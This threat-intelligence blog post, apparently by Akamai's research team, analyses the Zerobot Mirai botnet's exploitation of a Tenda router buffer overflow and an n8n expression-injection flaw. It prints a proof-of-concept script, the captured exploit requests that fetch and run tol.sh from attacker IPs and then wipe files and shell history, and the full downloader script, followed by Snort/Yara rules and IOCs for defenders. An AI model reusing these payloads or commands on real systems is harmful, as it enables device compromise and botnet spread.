Zerobot Malware Targets n8n Automation Platform

Feb 27, 2026

Written by

Kyle Lefton is a security researcher on Akamai's Security Intelligence Response Team. Formerly an intelligence analyst for the Department of Defense, Kyle has experience in cyber defense, threat research, and counter-intelligence, spanning several years. He takes pride in investigating emerging threats, vulnerability research, and threat group mapping. In his free time, he enjoys spending time with friends and family, strategy games, and hiking in the great outdoors.

The Akamai Security Intelligence and Response Team (SIRT) has identified active exploitation of command injection vulnerabilities CVE-2025-7544 and CVE-2025-68613 against Tenda AC1206 routers and the n8n automation platform.
The SIRT first identified this activity in our global network of honeypots in January 2026. This is the first reported active exploitation of these vulnerabilities since their initial disclosures in July 2025 and December 2025, respectively.
We have included a list of indicators of compromise (IOCs) in this blog post to assist in defense against this threat.

Jump to the IOCs

Introduction

The Akamai SIRT discovered an ongoing Mirai-based malware campaign, dubbed Zerobot, targeting a variety of recent CVEs, including those affecting Tenda AC1206 routers and the n8n workflow automation platform. The botnet campaign dates back to at least early December 2025, with the recent exploits being identified in our global network of honeypots in mid-January 2026 to spread a Mirai malware variant.

Targeting of the n8n vulnerability is particularly interesting: Botnets typically exploit Internet of Things (IoT) devices, such as security cameras, DVRs, and routers, but n8n falls into an entirely different category.

Although this isn’t entirely new behavior for botnets, this sort of targeting presents a greater danger to organizations by exposing more critical infrastructure to compromise as the n8n exploit could enable lateral movement for a threat actor.

Targeted vulnerabilities

The SIRT’s observations indicate that Zerobot is targeting two different vulnerabilities: CVE-2025-7544 and CVE-2025-68613. The time stamps of their exploitation attempts in our honeypots were after the public disclosure of the CVEs, confirming that these vulnerabilities were not zero-days.

The opportunistic exploitation of recently disclosed vulnerabilities by threat actors is quite common these days. Even astute organizations that are on top of patching will often have a vulnerable window after the initial disclosure, and some orgs neglect any patching of these devices.

CVE-2025-7544 details

Published in mid-July 2025, CVE-2025-7544 is a remote stack-based buffer overflow affecting the /goform/setMacFilterCfg endpoint in Tenda AC1206 devices on version 15.03.06.23 that was rated as critical, and can be exploited via the deviceList parameter. Due to the function parse_macfilter_rule, the variable s (technically v3) is passed to the strcpy function without any check on its length, which can overflow the stack-based buffer dest (which is s_2).

Through requesting the page, an attacker, even remotely, can easily execute a denial-of-servcie (DoS) attack or remote code execution (RCE). A public proof of concept (PoC) is available and breaks down the vulnerability and exploit in more detail (Figure 1).

import requests
ip = "192.168.0.1"
url = "http://" + ip + "/goform/setMacFilterCfg"
data = {
    "macFilterType": "white",
    "deviceList": "a" * 1000 + "\r" + "b" * 1000
}
response = requests.get(url, params=data)
print(response.text)

Fig. 1: CVE-2025-7544 PoC exploit

CVE-2025-68613 details

Published in mid-December 2025, CVE-2025-68613 is a RCE vulnerability affecting the workflow expression evaluation system in the n8n workflow automation platform (in versions 0.211.0 up to 1.20.4, then 1.21.1 and 1.22.0) that was rated as critical.

In n8n, users are allowed to write expressions in workflows to dynamically process data, but these expressions were not evaluated with proper sandboxing, which enables attackers to break out of the intended execution context to run arbitrary code on the server. By running these expressions on the underlying system, an attacker could also read and write files on the server, steal environment variables such as API keys, and establish persistence.

The vulnerability is rather easy to exploit, only requires a user login without administrative privileges, and can access all the data that n8n has access to. Many organizations use n8n for a variety of purposes, such as integrating databases with cloud services, automating data processing, managing sensitive data, and connecting various platforms and internal systems. A public PoC exploit is also available for this vulnerability.

Active exploitation of Tenda and n8n

Akamai SIRT discovered active exploitation attempts of CVE-2025-7544 by Zerobot in our global network of honeypots starting in mid-January 2026. As you can see in Figure 2, the exploit attempt triggers the buffer overflow through the use of 500 “A” characters in the deviceList parameter, which then enables them to execute their arbitrary code. The exploit then downloads and executes a malicious shell script called tol.sh from the U.S.-based IP address 144.172.100.228.

/goform/setMacFilterCfg

macFilterType=black&deviceList=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod 777 /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/tol.sh; curl -O http://144.172.100[.]228/tol.sh; chmod 777 tol.sh; sh tol.sh; tftp 140.233.190.96 -c get tol.sh; chmod 777 tol.sh; sh tol.sh; tftp -r 3.sh -g 140.233.190.96; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 140.233.190.96 2.sh 2.sh; sh 2.sh; rm -rf tol.sh tol.sh 3.sh 2.sh; rm -rf *; history -c

Fig. 2: An example of an active exploitation attempt of CVE-2025-7544

The SIRT also observed Zerobot attempting to exploit one of the recent n8n vulnerabilities: CVE-2025-68613 (Figure 3). The functionality is largely the same as the other exploit attempt, in which it downloads and executes the tol.sh shell script to fetch and load the main Mirai-malware payload of zerobotv9.

/rest/workflow/run

{"workflowData":{"nodes":[{"parameters":{"command":"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod 777 /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/tol.sh; curl -O http://144.172.100[.]228/tol.sh; chmod 777 tol.sh; sh tol.sh; tftp 140.233.190.96 -c get tol.sh; chmod 777 tol.sh; sh tol.sh; tftp -r 3.sh -g 140.233.190.96; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 140.233.190.96 2.sh 2.sh; sh 2.sh; rm -rf tol.sh tol.sh 3.sh 2.sh; rm -rf *; history -c"},"name":"Exec","type":"n8n-nodes-base.executeCommand","typeVersion":1,"position":[100,100]}],"connections":{}}}

Fig. 3: An example of an active exploitation attempt of CVE-2025-68613

Although the targeting of n8n by a Mirai-based botnet is not unheard of, it is a notable departure from the typical exploitation of IoT devices. The potential for a botnet to gain access and persistence, as well as possibly use lateral movement, in an organization’s critical infrastructure is certainly cause for concern.

Zerobot botnet

The shell script in Figure 4 fetches and executes the main Mirai-based malware payload named zerobotv9, which supports a variety of different architectures, which is common for Mirai downloaders. The UPX packed payload has a variety of encrypted strings and parameters, including a hard-coded command and control domain of 0bot.qzz[.]io, and the common Mirai malware console execution string, which in this case is “bruh why again”.

The Zerobot moniker traces back to a Fortinet article from 2022, but it is unknown if the threat actors involved are related. The nomenclature indicates this is the ninth iteration of the Zerobot malware, but where the other eight versions are remains to be seen.

Aside from the initial 2022 discovery, we did find public malware samples named zerobotv2 dating to August 2025, but these appeared to be the commonly used LZRD Mirai malware variant.

#!/bin/bash

ulimit -n 1024
cp /bin/busybox /tmp/
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.x86; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.x86; chmod +x *; ./zerobotv9.x86 zerobotv9.x86; rm -rf zerobotv9.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.mips; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.mips; chmod +x *; ./zerobotv9.mips zerobotv9.mips; rm -rf zerobotv9.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arc; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arc; chmod +x *; ./zerobotv9.arc zerobotv9.arc; rm -rf zerobotv9.arc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.i686; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.i686; chmod +x *; ./zerobotv9.i686 zerobotv9.i686; rm -rf zerobotv9.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.x86_64; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.x86_64; chmod +x *; ./zerobotv9.x86_64 zerobotv9.x86_64; rm -rf zerobotv9.x86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.mpsl; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.mpsl; chmod +x *; ./zerobotv9.mpsl zerobotv9.mpsl; rm -rf zerobotv9.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm; chmod +x *; ./zerobotv9.arm zerobotv9.arm; rm -rf zerobotv9.arm
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm5; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm5; chmod +x *; ./zerobotv9.arm5 zerobotv9.arm5; rm -rf zerobotv9.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm6; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm6; chmod +x *; ./zerobotv9.arm6 zerobotv9.arm6; rm -rf zerobotv9.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm7; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.arm7; chmod +x *; ./zerobotv9.arm7 zerobotv9.arm7; rm -rf zerobotv9.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.ppc; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.ppc; chmod +x *; ./zerobotv9.ppc zerobotv9.ppc; rm -rf zerobotv9.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.spc; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.spc; chmod +x *; ./zerobotv9.spc zerobotv9.spc; rm -rf zerobotv9.spc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.m68k; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.m68k; chmod +x *; ./zerobotv9.m68k zerobotv9.m68k; rm -rf zerobotv9.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl; wget http://144.172.100[.]228/mamakmukekkontol/zerobotv9.sh4; curl -O http://144.172.100[.]228/mamakmukekkontol/zerobotv9.sh4; chmod +x *; ./zerobotv9.sh4 zerobotv9.sh4; rm -rf zerobotv9.sh4

Fig. 4: Contents of tol.sh

There are a variety of differences between the original 2022 Zerobot malware and the newer Zerobotv9 samples. The most notable difference is that the original is far larger in filesize and is written in Go; Zerobotv9 is smaller and not written in Go.

However, we did find some Zerobot-labeled samples from the original downloader IP address dating to October 2022 that were not written in Go. Both this October 2022 variant, and Zerobotv9 use the same original Mirai malware XOR key of 0XDEADBEEF, or 0x22.

This newer version also has various attack functions that the old one lacked, such as TCPXmas, Mixamp, SSH, and an attack method named Discord. The hard coded user agents can be seen in Figure 5.

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; Info Path.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94

Fig. 5: Hard-coded user-agents from decrypted Zerobotv9 malware

Additional exploitation

Although the active exploitation of Tenda devices and the n8n platform is the highlight of this blog post, the SIRT also observed Zerobot targeting several other vulnerabilities, including CVE-2017-9841 (Figure 6), CVE-2021-3129 (Figure 7), and CVE-2022-22947 (Figure 8), among others.

These attempts differ a bit from the highlighted exploitation attempts, as they are using netcat and socat to open a raw TCP connection and read data from the socket to stdout, followed by commands to execute the script in order to load to the main Mirai malware payload.

The threat actors also used this method on the n8n and Tenda vulnerabilities, and have a variety of fallbacks, such as Perl socket, Bash TCP redirection, PHP socket, and Python socket. This technique was what they first used in early December 2025, before switching to using tools like curl and wget in January 2026.

Conclusion

The proliferation of Mirai unfortunately continues despite some recent high-profile takedowns by law enforcement, as setting up a Mirai-based botnet can have a fairly low barrier of entry. With the enticement of easy money — or simply of the thrill — a relatively inexperienced threat actor can simply reuse old Mirai code with some slight modifications, or even iterate using AI tools.

The research and development to produce zero-day exploits isn’t necessary either, as targeting recently disclosed CVEs or out-of-date hardware that some organizations neglect to upgrade can be quite effective. This might not lead to a massive botnet that gets notoriety, such as Aisuru, but it can still yield some profit for the operators, and can enable them to fly under the radar more easily.

Disclosure is a net benefit

As we have reported previously, the CVE program can sometimes serve as a double-edged sword by shining light on vulnerabilities that may have otherwise gone undetected by threat actors. Although we believe the program is still a net benefit to the industry, it is important to take into consideration that threat actors commonly monitor these disclosures for windows of opportunity for exploitation before organizations are able to effectively patch them.

Both the Tenda and n8n vulnerabilities exploited by Zerobot had public PoC exploits available, which can dramatically increase the ease and spread of active exploitation. Especially considering that n8n is sometimes used in more critical workflows by organizations, it is highly recommended that any potentially affected organizations secure and patch their systems as soon as reasonably possible to safeguard against this, or other, malicious activity.

Keep up with us

The Akamai SIRT will continue to monitor and report on threats like this for both our customers and the security community at large. To keep up with the SIRT and other publications from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.

IOCs

We’ve included a list of IOCs, as well as Snort and Yara rules, to aid defenders.

Snort rules for malicious IPs

alert ip any any -> [140.233.190.96, 144.172.100.228, 172.86.123.179, 216.126.227.101, 103.59.160.237] any (
    msg:"Possible Botnet Infrastructure Activity - Suspicious IP"; 
    sid:2000003; 
    rev:1; 
    threshold:type limit, track by_src, count 1, seconds 600; 
    classtype:trojan-activity; 
    metadata:service http, malware;
)

Snort rules for C2 domain resolution detection

alert http any any -> [0bot.qzz.io, andro.notemacro.com, pivot.notemacro.com] any (
    msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain"; 
    sid:2000002; rev:1; 
    classtype:trojan-activity; 
    metadata:service http, malware;
)

Yara rules for malware samples

rule Mirai_Malware_IOCs_1
{
    meta:
        description = "Detects files containing IOCs associated with potential Mirai malware"
        author = "Akamai SIRT"
        date = "2026-01-29"
        source = "Akamai SIRT"
        malware_family = "Mirai"
        version = "1.0"

    strings:
        $bruh = "bruh why again"
        $url1 = "mamakmukekkontol"
        $url2 = "inihiddenngentod"

        $ip1 = "140.233.190.96"
        $ip2 = "144.172.100.228"
        $ip3 = "172.86.123.179"
        $ip4 = "216.126.227.101"
        $ip5 = "103.59.160.237"

        $domain1 = "0bot.qzz.io"
        $domain2 = "andro.notemacro.com"
        $domain3 = “pivot.notemacro.com”

        $hash1 = "c8e8b627398ece071a3a148d6f38e46763dc534f9bfd967ebc8ac3479540111f"
        $hash2 = "360467c3b733513c922b90d0e222067509df6481636926fa1786d0273169f4da"
        $hash3 = "cc1efbca0da739b7784d833e56a22063ec4719cd095b16e3e10f77efd4277e24"
        $hash4 = "045a1e42cb64e4aa91601f65a80ec5bd040ea4024c6d3b051cb1a6aa15d03b57"
        $hash5 = "d024039824db6fe535ddd51bc81099c946871e4e280c48ed6e90dada79ccfcc7"
        $hash6 = "deb70af83a9b3bb8f9424b709c3f6342d0c63aa10e7f8df43dd7a457bda8f060"
        $hash7 = "6e4e797262c80b9117aded5d25ff2752cd83abe631096b66e120cc3599a82e4e"
        $hash8 = "2fdb2a092f71e4eba2a114364dc8044a7aa7f78b32658735c5375bf1e4e8ece3"
        $hash9 = "263a363e2483bf9fd9f915527f5b5255daa42bbfa1e606403169575d6555a58c"
        $hash10 = "d7112dd3220ccb0b3e757b006acf9b92af466a285bbb0674258bcc9ad463f616"

    condition:
        (
            $url1 or
            $url2 or
            $ip1 or
            $ip2 or
            $ip3 or
            $ip4 or
            $ip5 or
            $domain1 or
            $domain2 or
            $domain3 or
            $hash1 or
            $hash2 or
            $hash3 or
            $hash4 or
            $hash5 or
            $hash6 or
            $hash7 or
            $hash8 or
            $hash9 or
            $hash10
        )
}

Malicious IPv4 addresses

103.59.160.237

140.233.190.96

144.172.100.228

172.86.123.179

216.126.227.101

Malicious domains

0bot.qzz.io

andro.notemacro[.]com/inihiddenngentod/zerobotv9.*

pivot.notemacro.com/inihiddenngentod/zerobotv9.*

SHA256 hashes

c8e8b627398ece071a3a148d6f38e46763dc534f9bfd967ebc8ac3479540111f

360467c3b733513c922b90d0e222067509df6481636926fa1786d0273169f4da

cc1efbca0da739b7784d833e56a22063ec4719cd095b16e3e10f77efd4277e24

045a1e42cb64e4aa91601f65a80ec5bd040ea4024c6d3b051cb1a6aa15d03b57

d024039824db6fe535ddd51bc81099c946871e4e280c48ed6e90dada79ccfcc7

deb70af83a9b3bb8f9424b709c3f6342d0c63aa10e7f8df43dd7a457bda8f060

6e4e797262c80b9117aded5d25ff2752cd83abe631096b66e120cc3599a82e4e

2fdb2a092f71e4eba2a114364dc8044a7aa7f78b32658735c5375bf1e4e8ece3

263a363e2483bf9fd9f915527f5b5255daa42bbfa1e606403169575d6555a58c

d7112dd3220ccb0b3e757b006acf9b92af466a285bbb0674258bcc9ad463f616

See more Mirai